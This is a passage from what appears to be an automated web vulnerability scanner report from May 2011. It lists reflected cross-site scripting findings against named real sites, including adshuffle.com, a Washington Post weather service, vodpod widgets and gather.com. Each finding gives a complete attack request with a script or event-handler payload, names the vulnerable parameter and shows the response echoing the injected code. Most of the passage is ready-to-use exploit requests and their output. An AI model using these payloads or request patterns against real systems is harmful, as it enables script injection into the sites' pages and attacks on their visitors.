]}
};

var rp_insight = rp_response.insight ;

try {
oz_onInsightLoadedeca67;alert(1)//8faeecc89b0(rp_response);
} catch(ignore) {}

4.270. http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html [[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://this.content.served.by.adshuffle.com
Path:	/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html

Issue detail

The value of the [Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2bdeb"><script>alert(1)</script>77e68ef9e34 was submitted in the [Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html?[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT=2bdeb"><script>alert(1)</script>77e68ef9e34 HTTP/1.1
Host: this.content.served.by.adshuffle.com
Proxy-Connection: keep-alive
Referer: http://www.amconmag.com/blog/2011/05/09/the-rick-santorum-scam/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache="Set-Cookie"
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 10 May 2011 13:18:11 GMT
Server: Microsoft-IIS/7.0
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: v=576462396568679866; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: ts=5/10/2011+1:18:11+PM; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: z=4; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: sid=1d1be510-571c-4ac4-8aa6-65f44aa03db3; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: pxl=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: px=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Date: Tue, 10 May 2011 13:18:11 GMT
Content-Length: 1160
Set-Cookie: NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660;expires=Tue, 10-May-2011 13:23:11 GMT;path=/

<html><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><script type="text/javascript" src="http://media2.adshuffle.com/asrefinc11.js"></script><script type="text/javascript"
...[SNIP]...
<a target="_blank" href="2bdeb"><script>alert(1)</script>77e68ef9e34http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/435717377/v/576462396568679866/ac/781370/b/276176/c/474251/click.html">
...[SNIP]...

4.271. http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html [[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://this.content.served.by.adshuffle.com
Path:	/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html

Issue detail

The value of the [Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1dcd5'%3balert(1)//cf89d9fbfae was submitted in the [Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT parameter. This input was echoed as 1dcd5';alert(1)//cf89d9fbfae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_KFHtXV6PPxtDmPIBUxUED/view.html?[Place%20Your%20Cache%20Buster%20ID%20here]&ASTPCT=1dcd5'%3balert(1)//cf89d9fbfae HTTP/1.1
Host: this.content.served.by.adshuffle.com
Proxy-Connection: keep-alive
Referer: http://www.amconmag.com/blog/2011/05/09/the-rick-santorum-scam/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache="Set-Cookie"
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 10 May 2011 13:18:12 GMT
Server: Microsoft-IIS/7.0
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: v=576462396568679870; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: ts=5/10/2011+1:18:12+PM; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: z=4; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: sid=1d1be510-571c-4ac4-8aa6-65f44aa03db3; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: pxl=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: px=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Date: Tue, 10 May 2011 13:18:11 GMT
Content-Length: 1130
Set-Cookie: NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660;expires=Tue, 10-May-2011 13:23:12 GMT;path=/

<html><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><script type="text/javascript" src="http://media2.adshuffle.com/asrefinc11.js"></script><script type="text/javascript"
...[SNIP]...
<a target="_blank" href="1dcd5';alert(1)//cf89d9fbfaehttp://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8'+window._asPURL+'/979214675/v/576462396568679870/ac/781370/b/276176/c/474252/click.html">
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://this.content.served.by.adshuffle.com
Path:	/p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html

Issue detail

The value of the %5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc14c"><script>alert(1)</script>a4204fbbe97 was submitted in the %5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html?%5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT=dc14c"><script>alert(1)</script>a4204fbbe97 HTTP/1.1
Host: this.content.served.by.adshuffle.com
Proxy-Connection: keep-alive
Referer: http://www.amconmag.com/blog/2011/05/09/the-rick-santorum-scam/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v0800017ed5d8abe7=1; NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache="Set-Cookie"
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 10 May 2011 13:18:23 GMT
Server: Microsoft-IIS/7.0
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: v=576462396568677351; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: v0800017ed5d8abe7=; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: ts=5/10/2011+1:18:23+PM; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: z=4; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: av1=bec3a.73c89=0510110818; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: vcs0=vBEC3A:73C89_0_0_0_22F1B2_0_0; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: pxl=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: px=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Date: Tue, 10 May 2011 13:18:23 GMT
Content-Length: 1164
Set-Cookie: NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660;expires=Tue, 10-May-2011 13:23:23 GMT;path=/

<html><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><script type="text/javascript" src="http://media2.adshuffle.com/asrefinc11.js"></script><script type="text/javascript"
...[SNIP]...
<a target="_blank" href="dc14c"><script>alert(1)</script>a4204fbbe97http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/1051116884/v/576462396568677351/ac/781370/b/276176/c/474251/click.html">
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://this.content.served.by.adshuffle.com
Path:	/p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html

Issue detail

The value of the %5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96d81'%3balert(1)//266334d1c6c was submitted in the %5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT parameter. This input was echoed as 96d81';alert(1)//266334d1c6c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html?%5BPlace%20Your%20Cache%20Buster%20ID%20here%5D&ASTPCT=96d81'%3balert(1)//266334d1c6c HTTP/1.1
Host: this.content.served.by.adshuffle.com
Proxy-Connection: keep-alive
Referer: http://www.amconmag.com/blog/2011/05/09/the-rick-santorum-scam/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v0800017ed5d8abe7=1; NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache="Set-Cookie"
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 10 May 2011 13:18:24 GMT
Server: Microsoft-IIS/7.0
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: v=576462396568677351; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: v0800017ed5d8abe7=; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: ts=5/10/2011+1:18:24+PM; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: z=4; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: av1=bec3a.73c89=0510110818; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: vcs0=vBEC3A:73C89_0_0_0_22F1B2_0_0; domain=by.adshuffle.com; expires=Thu, 01-Jan-2099 06:00:00 GMT; path=/
Set-Cookie: pxl=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Set-Cookie: px=; domain=by.adshuffle.com; expires=Tue, 01-Jan-1980 06:00:00 GMT; path=/
Date: Tue, 10 May 2011 13:18:23 GMT
Content-Length: 1130
Set-Cookie: NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660;expires=Tue, 10-May-2011 13:23:24 GMT;path=/

<html><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><script type="text/javascript" src="http://media2.adshuffle.com/asrefinc11.js"></script><script type="text/javascript"
...[SNIP]...
<a target="_blank" href="96d81';alert(1)//266334d1c6chttp://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8'+window._asPURL+'/775197503/v/576462396568677351/ac/781370/b/276176/c/474251/click.html">
...[SNIP]...

4.274. http://weathergang.washingtonpost.com/rest/conditions/20001j [jsonp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://weathergang.washingtonpost.com
Path:	/rest/conditions/20001j

Issue detail

The value of the jsonp request parameter is copied into the HTML document as plain text between tags. The payload f1aab<script>alert(1)</script>ee5732bee7f was submitted in the jsonp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rest/conditions/20001j?jsonp=YUI.Env.JSONP.yui_3_3_0_4_1305033204597136f1aab<script>alert(1)</script>ee5732bee7f HTTP/1.1
Host: weathergang.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: text/json
Date: Tue, 10 May 2011 13:15:34 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-mjcebkpg=DB45C7F9057C8F1A02C0A2236097FC44; path=/
Content-Length: 1361

YUI.Env.JSONP.yui_3_3_0_4_1305033204597136f1aab<script>alert(1)</script>ee5732bee7f({"conditions" : {"meta": {"desc" : "Conditions RESTful service READ call via JSON", "version" : "1.0", "input-zip" : "20001", "input-city" : "Washington", "input-state" : "DC", "response-code" : "100
...[SNIP]...

4.275. http://widgets.vodpod.com/javascripts/recent_videos.js [id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgets.vodpod.com
Path:	/javascripts/recent_videos.js

Issue detail

The value of the id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de16b'%3balert(1)//ca6d4405a8a was submitted in the id parameter. This input was echoed as de16b';alert(1)//ca6d4405a8a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /javascripts/recent_videos.js?id=paidcontentde16b'%3balert(1)//ca6d4405a8a&v=2&title=PaidContent+Videos&options[thumb_size]=large&options[theme]=sidebar_doublewide&tag_id=latest&options[div_id]=vodpod_widget&options[num]=1&custom_url=videos.paidcontent.org/video/%25id%25 HTTP/1.1
Host: widgets.vodpod.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:32:55 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Status: 200
ETag: "0b5d6bff435597a25a36acb08b2d1611"
X-Runtime: 4
Cache-Control: max-age=600, public
Expires: Tue, 10 May 2011 13:42:54 GMT
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
X-Cache: MISS from cdce-nym011-012.nym011.internap.com
X-Cache: MISS from cdce-nym011-012.nym011.internap.com
Via: 1.1 cdce-nym011-012.nym011.internap.com:1080 (squid/2.7.STABLE7), 1.0 cdce-nym011-012.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

document.writeln('<b>Error, collection "paidcontentde16b';alert(1)//ca6d4405a8a" was not found</b>')

4.276. http://widgets.vodpod.com/javascripts/recent_videos.js [options[div_id] parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgets.vodpod.com
Path:	/javascripts/recent_videos.js

Issue detail

The value of the options[div_id] request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a2d78%3balert(1)//341c76f11ce was submitted in the options[div_id] parameter. This input was echoed as a2d78;alert(1)//341c76f11ce in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /javascripts/recent_videos.js?id=paidcontent&v=2&title=PaidContent+Videos&options[thumb_size]=large&options[theme]=sidebar_doublewide&tag_id=latest&options[div_id]=vodpod_widgeta2d78%3balert(1)//341c76f11ce&options[num]=1&custom_url=videos.paidcontent.org/video/%25id%25 HTTP/1.1
Host: widgets.vodpod.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:34:05 GMT
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Status: 200
ETag: "6287af017fe098db1389c6c614338205"
X-Runtime: 14
Cache-Control: max-age=600, public
Expires: Tue, 10 May 2011 13:44:05 GMT
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
X-Cache: MISS from cdce-nym011-016.nym011.internap.com
X-Cache: MISS from cdce-nym011-016.nym011.internap.com
Via: 1.1 cdce-nym011-016.nym011.internap.com:1080 (squid/2.7.STABLE7), 1.0 cdce-nym011-016.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

var isIE6 = /MSIE ((5\.5)|[6])/.test(navigator.userAgent) && navigator.platform == "Win32";
var isIE = /MSIE \d+/.test(navigator.userAgent) && navigator.platform == "Win32";
var realSrc;
var blankS
...[SNIP]...
<div class="vodpod_video_container" id="vodpod_video_container_vodpod_widgeta2d78;alert(1)//341c76f11ce">
...[SNIP]...

4.277. http://widgets.vodpod.com/javascripts/recent_videos.js [options[div_id] parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgets.vodpod.com
Path:	/javascripts/recent_videos.js

Issue detail

The value of the options[div_id] request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c155e'%3balert(1)//c5e23ce1f12 was submitted in the options[div_id] parameter. This input was echoed as c155e';alert(1)//c5e23ce1f12 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /javascripts/recent_videos.js?id=paidcontent&v=2&title=PaidContent+Videos&options[thumb_size]=large&options[theme]=sidebar_doublewide&tag_id=latest&options[div_id]=vodpod_widgetc155e'%3balert(1)//c5e23ce1f12&options[num]=1&custom_url=videos.paidcontent.org/video/%25id%25 HTTP/1.1
Host: widgets.vodpod.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:34:05 GMT
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Status: 200
ETag: "24606373f940434d2db0fce15213531c"
X-Runtime: 15
Cache-Control: max-age=600, public
Expires: Tue, 10 May 2011 13:44:05 GMT
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
X-Cache: MISS from cdce-nym011-018.nym011.internap.com
X-Cache: MISS from cdce-nym011-019.nym011.internap.com
Via: 1.1 cdce-nym011-018.nym011.internap.com:1080 (squid/2.7.STABLE7), 1.0 cdce-nym011-019.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

var isIE6 = /MSIE ((5\.5)|[6])/.test(navigator.userAgent) && navigator.platform == "Win32";
var isIE = /MSIE \d+/.test(navigator.userAgent) && navigator.platform == "Win32";
var realSrc;
var blankS
...[SNIP]...
videos = {};
var page7701668880 = 1;
var origOpacity = null;
var hosted_url = null;
var custom_url = 'videos.paidcontent.org/video/%id%';

var widget7701668880 = document.getElementById('vodpod_widgetc155e';alert(1)//c5e23ce1f12');
if (widget7701668880 == null)
{
widget7701668880 = document.getElementById('vodpod_recent_videos');
}
var vp_widget_id = widget7701668880.id;
var vp_iframe;

widget7701668880.innerHTML = '';
//
...[SNIP]...

4.278. http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80a79"><a>e363751fae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /6360d%3Cimg+src80a79"><a>e363751fae=a+onerror=alert(1)%3E1b6979d15ce HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:09:36 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: vis=FSp8nI70VdEPLLKnAGEiqgcsHOYYGEs2ghQLqX6srCgZPQiK73bHP3CxPA59stQ64fTrj9E2gyn9+UCm5ZfObHMMAdrsSNjUWRUlwiyihSM=; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:36 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=fs3ppKurIu1gGzBBoNfN8S+b/74xQJBUSSRY+l3qHt7cxqqwgcHXGPRV162w2BOvQNPy5Ls1Nc1EqGfdmvjp4PTC2zRhuLkLxqDRVDY2Lm0pNT+6Za6zaAc4dMW4jrfi; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:36 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Length: 17645
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<img+src80a79"><a>e363751fae=a+onerror=alert(1)>
...[SNIP]...

4.279. http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 118ae<img%20src%3da%20onerror%3dalert(1)>a203852493f was submitted in the REST URL parameter 1. This input was echoed as 118ae<img src=a onerror=alert(1)>a203852493f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /118ae<img%20src%3da%20onerror%3dalert(1)>a203852493f=a+onerror=alert(1)%3E1b6979d15ce HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:09:53 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: vis=7Y7I7CXcEnChDv+CcWqUnlFy3T6oI/tR9cy9znUPyj77A7biXshQKH/TBklLF71Nb696dI54/5M0mGg3cG4YUsgEL7RVgA9t/NyXIK1rB1ZJZS++ttDAxw==; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:53 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
